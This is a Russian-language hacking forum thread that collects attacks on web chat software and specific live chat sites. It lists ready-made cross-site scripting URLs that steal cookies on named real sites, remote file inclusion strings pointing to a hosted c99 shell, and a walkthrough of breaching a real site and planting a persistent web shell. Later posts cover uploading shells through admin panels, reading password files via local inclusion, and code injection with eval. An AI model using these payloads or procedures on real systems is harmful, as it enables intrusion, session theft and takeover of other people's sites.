Чаты Уязвимости чатов и Движков

Discussion in 'Веб-уязвимости' started by Nova, 27 Jun 2006.

  1. Nova

    Nova Green member

    Joined:
    15 Jul 2005
    Messages:
    1,233
    Likes Received:
    420
    Reputations:
    280
    ------------------------- Vodoo CHAT ---------------------------​
    Type:[XSS]
    Product: Voodoo chat
    Author: qBiN
    Exploit:
    Code:
    [color=darkorange]http://site.com/chat/go.php?url=javascript:alert(/Tested%20by%20qBiN/);[/color]
    Решение: фильтровать переменную урл,можно даже проверять её на валидность
    с помощью сокетов.
    ------------------------------
    Type:[XSS]
    Product: Voodoo chat
    Author: qBiN
    Exploit:
    Code:
    [color=darkorange]http://sitename/chat/password_reminder.php?look_for=%3Cscript%3Ealert(/qBiN test/);%3C/script%3E[/color]
    ------------------------------
    Type:[PHP Including]
    Product: Voodoo chat 1.0RC1b и возможно болие ранние версий.
    Источник: xakep.ru
    Пример:
    Code:
    [color=darkorange]http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM?[/color]
    ------------------------------
    Type:FLOODER
    Product: Voodoo chat
    Author: NaX[no]r†
    exploit: http://www.balartrating.ru/flood.zip

    ------------------------- ЧАТ БОРОДИНА ---------------------------​

    Может матерьял немного стар но всёже http://antichat.ru/txt/chat_borodin/
    Видео лежит здесь http://video.antichat.net/videos/chat_borodin.rar

    Уязвимость нашел: Morph
    Автор статьи: Morph

    ------------------------- NAROD Chat ---------------------------​
    Type:[XSS]
    Product: NAROD Chat
    Author: [sL1p]
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://www.yandex.ru/cgi-bin/customize.pl?yxqs="><script>alert(document.cookie)</script>[/color]
    ------------------------- Уязвимости конкретных чатов ---------------------------​

    Type:[XSS]
    Product: www.bazar.co.ua
    Author: max_pain89
    Exploit: Passive ХSS:
    Code:
    [color=darkorange]http://www.bazar.co.ua/?error[]=<script>confirm(/xxx/)</script>[/color]
    ------------------------------
    Type:[XSS]
    Product: www.sibchat.ru
    Author: [sL1p], Kaban
    Exploit: Passive ХSS:
    Code:
    [color=darkorange]http://www.sibchat.ru/gallery.php?sid='><script>alert(document.cookie)</script>
    http://www.sibchat.ru/card_help.php?sid="><script>alert(document.cookie)</script>
    http://www.sibchat.ru/register.php?sid="><script>alert(document.cookie)</script>[/color]
    ------------------------------
    Type:[XSS]
    Product: www.chatinez.zp.ua
    Author: [sL1p]
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://chatinet.zp.ua/winter2005/party/?[color=red]001[/color]=6941337<a>%22%27"><script>alert(document.cookie)</script>[/color]
    При желании 001 Можно заменить на:
    002, 003, 004, 005, 006, 007, 008, 009, 010, 011, 012, 013, 014, 015, 016
    ------------------------------
    Type:[XSS]
    Product: www.smchat.ru
    Author: [sL1p]
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://www.smchat.ru/?key="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?chatname=&key="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?ontopic=default&login="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?activate=&login="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?password1=&login="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?det=default&login="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?count=1000&key="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?email=&key="><script>alert(document.cookie)</script>[/color]
    ------------------------------
    Type:[XSS]
    Product: www.chat.ru
    Author: [sL1p]
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://www.chat.ru/user/register.html?dop10=default&confemail="><script>alert(document.cookie)</script>
    http://www.chat.ru/user/register.html?anotherpw="><script>alert(document.cookie)</script>
    http://www.chat.ru/user/register.html?city=&name="><script>alert(document.cookie)</script>
    http://www.chat.ru/user/register.html?action=default&username="><script>alert(document.cookie)</script>
    http://www.chat.ru/user/register.html?city=&year="><script>alert(document.cookie)</script>[/color]
    Комбинируя запросы можно реализовать гораздо больше xss чем в этом списке.
    ------------------------------
    Type:[XSS]
    Product: www.krovatka.ru
    Author: [sL1p], blackybr
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://klubnichka.krovatka.ru/k?f=45&newwin=1&id2=5816&id=5673xee7kY1Y&c=8"><script>alert(document.cookie)</script>
    http://klubnichka.krovatka.ru/f/e.cgi?c=6&n="><script>alert(document.cookie)%3B</script>
    http://klubnichka.krovatka.ru/people/pp33.cgi?ch=6&nn="><script>alert(document.cookie)%3B</script>
    http://klubnichka.krovatka.ru/sms/xp.cgi?mn="><script>alert(document.cookie)%3B</script>&ch=6&flag=0
    http://klubnichka.krovatka.ru/people/pp33.cgi?ch=6&nn=%3Cmeta+http-equiv=%3E%3C/title%3E%20%3Cscript%3Ealert(document.cookie)%3C/script%3E[/color]
    Для примера взят канал klubnichka, изменяя название канала естесственно можно реализовывать xss везде.
    ------------------------------
    Type:[XSS]
    Product: www.chatcity.ru
    Author: [sL1p]
    Code:
    [color=darkorange]http://www.Chat ID.chatcity.ru/people/pp33.cgi?c=Chat ID&nn="><script>alert(document.cookie)</script>[/color]
    Chat ID заменяем на адрес чата. У всех они в цифровом значении.
    ------------------------------
    P.s
    Если есть какието узявимости по движкам чатов или по каким-то конкретным чатам пишите мне в ПМ я добавлю суда.
     
    _________________________
    #1 Nova, 27 Jun 2006
    Last edited by a moderator: 15 Nov 2006
    7 people like this.
  2. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    [PHP include] в Флеш Чате

    <------------------------------------------------------------------------------------------->
    Уязвимость существует из за прописанных двух инклудах в двух фчатовых файлах. Эти инклуды прописаны во всех версиях фчатов вплоть до версии 4.6.2 Вот эти файлы подвержены уязвимости:

    inc/cmses/aedatingCMS2.php
    inc/cmses/aedating4CMS.php


    Т.к. у меня на машине есть немало разных исходников всяких чатов, то конечно же у меня был и фчат. Открыв один из этих файлов, я увидел следующее:
    PHP:
    $aed_root_path realpath(dirname(__FILE__) . '/../../../') . '/';
    include(
    $aed_root_path 'inc/header.inc.php');
    require_once( 
    "$dir[inc]db.inc.php" );
    require_once( 
    "$dir[inc]admin.inc.php" );
    Эта часть в обоих файлах идентична. Инклуд можно проводить с любого файла. Вот мы и добрались до параметра dir[inc]. Вот он, висит кросавчег ;-)
    PHP:
    require_once( "$dir[inc]db.inc.php" );
    Как раз он нам и поможет сделать всё что нам нужно. Пора приступать к активным действиям.
    <------------------------------------------------------------------------------------------->
    Внимание. Здесь будет сохранена полная конспирация подопытного сайта. Надеюсь зачем это сделано объяснять не надо.
    Итак заходим на наш сайт: http://www.f**.net
    Смотрим о_О. Обычный развлекательный сайт. Форум, чат, всякая мурня. В общем как обычно:) Для начала находим там чат, форма входа в сам чат висит по адресу: http://www.f**.net/chat/
    Лучше и не придумаешь;-) Т.к. уязвим файл inc/cmses/aedatingCMS2.php
    То мы заходим по адресу:
    http://www.f**.net/chat/inc/cmses/aedatingCMS2.php
    Нашему взору открываются Warning'и.
    Это нам и надо. На фатал не обращаем внимания, он нам не помешает. Теперь составим нужный нам запрос, для инклуда шелла. Запрос будет исходить от файла inc/cmses/aedatingCMS2.php

    Нам известно что узвим параметр dir[inc].

    Его мы и используем. Таков будет начальный запрос:
    http://www.f**.net/chat/inc/cmses/aedatingCMS2.php?dir[inc]=

    Теперь осталось только прописать ссылку на шелл. Вот наш с99shell:
    http://slip-antichat.narod.ru/c99shell.txt

    Итог таков:
    http://www.f**.net/chat/inc/cmses/aedatingCMS2.php?dir[inc]=http://slip-antichat.narod.ru/c99shell.txt?

    Всё, шелл получен. Инклуд успешно произведён. Но наверно он нам нужен в каком то более надёжном месте? Я тоже так думаю:) Создаём php файл в дерриктории:
    /home/f**/www/

    Открывается небольшое поле, копируем туда весь код шелла, и сохраняем. Теперь наш шелл живёт по адресу:
    http://www.f**.net/futura.php
    Всё, мы закрепились на сайте уверенно;-) Теперь это будет F.a.q. по инклуду фчатов.
    <------------------------------------------------------------------------------------------->
    Отдельный thx Tem
     
    #2 .Slip, 11 Sep 2006
    Last edited: 13 Nov 2006
    17 people like this.
  3. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    SinChat 1.0 beta1

    Type: [XSS]
    Product: SinChat
    Author: ZAMUT

    Passive XSS:

    Code:
    /chat/reg.php?error={XSS}&mail=&site
     /chat/showinfo.php?nick={XSS}
    

    Active XSS:

    Vuln code:
    /reg.php
    PHP:
     }else{
    $nick=$_POST['nick'];
    $pass=$_POST['pass'];
    $pass2=$_POST['pass2'];
    $mail=$_POST['mail'];
    $site=$_POST['site'];
    $sexe=$_POST['sexe'];
    $all="mail=$mail&site=$site";

    $error=0;

    ...

    if (
    $error==null){
    $PrintData="$nick::$pass::user::$mail::$site::$sexe\n";

    $fp=fopen("data/users.dat""a+");
    if(
    fwrite($fp,$PrintData)){
    $html="Пользователь зарегистрирован";
    }else {
    $html="Ошибка при регистрации";
            }
    fclose($fp);
    }
    Как видим, при регистрации не фильтруются входящие данные. Информация пишется в файл users.dat, наш код сработает в любом месте, где можем смотреть данные профиля. к примеру:
    Code:
    /chat/showinfo.php?nick=lol

    Art-Soft Mini Chat!

    Type: [XSS]
    Product: Art-Soft Mini Chat!
    Author: ZAMUT

    Active XSS:

    Vuln code:
    /write_msg.php

    PHP:
    include "option.php";
      
    $fl file($msg_file);
      
    $count_fl count($fl);
      
    $msg stripslashes(trim($_POST['msg']));
      
    $person trim($_POST['person']);
      if ((
    $msg != "") && ($person != ""))
      {
        if (
    $count_fl >= $msg_count)
        {
          
    $fw fopen($msg_file"w");
          for(
    $i=1;$i<$msg_count;$i++)    fwrite($fwtrim($fl[$i])."\r\n");
        }
        
    $time strftime("%H:%M:%S"time());
        
    $fp fopen($msg_file"a+");
        
    $fw fwrite($fp$person."¤".$time."¤".$msg."\r\n");
        
    fclose($fp); ?>   
    Уязвимые поля: "Имя", "Сообщение". Чат не требует регистрации.
     
  4. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    PHP-SPB
    Из личного опыта решил написать кое что о чатах на движке Бородина и php-spb. Юзал первый раз 3 года назад. Сейчас вспомнил вдруг про некоторые уязвимости.

    1. Заливка шелла через админку чата

    Если у вас есть доступ к админке чата, то вы можете залить туда шелл следующим способом:
    Заходите в админку, открываете "HTML/JS/PHP шаблоны всех скинов", выбираете скин (желательно def, если стоит другой). Далее открываете файл __skin1.php (или __skin2.php). И вставляете туда php код шелла.
    Для того чтобы открыть его необходимо в браузере набрать:
    Code:
    http://site/chat/skin/имя_каталога/__skin1.php
    имя_каталога - это тот самый def или другой куда вы лили шелл.

    2. Просмотр админских записей в модуле "Записная книжка в админке"

    В модуле "Записная книжка в админке" все работает по принципу: fopen, fread, fputs и fclose. Следовательно никакой шифровки записей нет и они хранятся в открытом виде в файле. По дефолту (как ставят 90% админов чатов) записная книжка хранится в директории: src с названием notebook.txt .
    Для чтения открываем:
    Code:
    http://site/chat/src/notebook.txt
    и читаем, что пишут админы.
    Особенно обратите внимание, что если используется новая админка (adminka Doom edition), то там адрес будет такой:
    Code:
    http://site/chat/src/notebook_adm.dat
    P.S: фокус иногда не срабатывает из-за .htaccess

    3. Модуль "Антиреклама в чате" aka "Цензор"

    Просмотр того, что админы запретили писать в чате, думая, что это реклама.

    По дефолту данные хранятся и записываются в файл bwrds.dat в корне чата (большинство админов так и оставляют, из-за лени или непонимания кода модуля).
    Открываем из браузера:
    Code:
    http://site/chat/bwrds.dat
    и спокойно читаем содержимое файла.

    4. Просмотр ссылок, которые по идее могут видеть "только" админы с определенным уровнем доступа.

    В чате справа снизу есть маленький фрейм. От имени юзера мы можем видеть только обычные ссылки, которые для нас и предназначены. Но для модераторов и администраторов там есть специальные ссылки, которые юзерам недоступны. Для их просмотра делаем следующее:

    4.1 Узнаем название директории, где хранится скин, который установлен в чате по-умолчанию:

    Открываем персональные настройки в чате, далее смотрим исходный код страницы и ищем код следующего содержания:

    Code:
    <option value="dir_name" selected>по-умолчанию<option value="dir_name" selected>имя_скина</select>
    dir_name - это то, что нас и интересует.

    4.2 Открываем в браузере ссылку данного вида:
    Code:
    http://site/chat/skin/dir_name/frame_more_admin.html
    Где site - адрес сайта, chat - путь до чата, skin - папка со скинами чата, dir_name - имя директории со скином по дефолту, frame_more_admin.html - файл, где хранятся данные с секретными ссылками.

    5. "Чтение паролей при локальных инклудах на сайте или чате"

    Обнаружил совсем недавно данную уловку (около 4-ех месяцев назад).

    Секрет в том, что если помимо чата стоит сайт с уязвимостью php-injection или в самом чате есть такая. (главное - нужен локальный инклуд).

    Все пароли юзеров и админов чатов версии > 4.07, на движке php-spb хранятся в директориях daemon/db2 в файлах, с зашифрованным названием. ... При удаленном инклуде действуем так:

    5.1 Узнаем какой файл нам нужен. Для этого ставим чат у себя на компе. Как это сделать можно почитать тут:
    Code:
    http://php.spb.ru/chat/readme.html#win
    После установки регистрируем полностью похожий ник, который мы хотим из другого чата. Далее заходим в чат на компе под админом и открываем инфу того юзера. Снизу будут разные ссылки, нажимаем на "Скрытые поля в инфе юзера" и смотрим файл БД. Он то нам и нужен.

    5.2 Далее просто вводим:
    Code:
    http://site/chat/script.php?include=путь_до_этого_файла.db2
    Пароль будет в таком виде:

    "pass";s:19:"password";

    password - это будет наш пароль.

    На данный момент пока все, что знал сам из личного опыта пользования чатами на этом движке :)
    (c) USAkid 2008
     
    1 person likes this.
  5. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Встретилось мне за день две разных версии Elfchat - 5.2.1 и 4.2.1, по доркам у 99 процентов не удален скрипт установки install.php (<= 5.0) install/ (>= 5.), где имеется возможность поменять пароль администратору.

    В админ панели пятой версии есть eval-консоль, в версиях ниже решается php code injection в файл конфига - ${@eval($_POST[1])}
     
    3 people like this.
  6. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    LiveZilla <= 5.0.1.4

    Type:[Remote Code Execution / Local File Inclusion]
    Источник:[www.cureblog.de ]
    CVE: [2013-6225]
    Файл: [mobile/php/translation/index.php]
    Уязвимый код:
    PHP:
    $langFileLocation '.';
    $LZLANG = Array();
    if (isset(
    $_GET['g_language'])) {
         
    $language = ($_GET['g_language'] != ") ? $_GET['g_language'] : 'ein';
         require (
    $langFileLocation . '/langmobileorig.php');

    $LZLANGEN = $LZLANG;
    if (file_exists(
    $langFileLocation . '/langmobile'. $language . '.php')) {
         require (
    $langFileLocation . '/langmobile' . $language . '.php');
    }
     
  7. CKahn

    CKahn New Member

    Joined:
    18 Aug 2015
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Type:[XSS]
    Product: chatvdvoem.ru
    Author: CKahn
    Exploit: отправить сообщение:
    Code:
    Image_msg: x" onError="alert('xss')"
    В теории можно вставить скрипт для получения id вк и деанонить пользователей сайта
    [​IMG]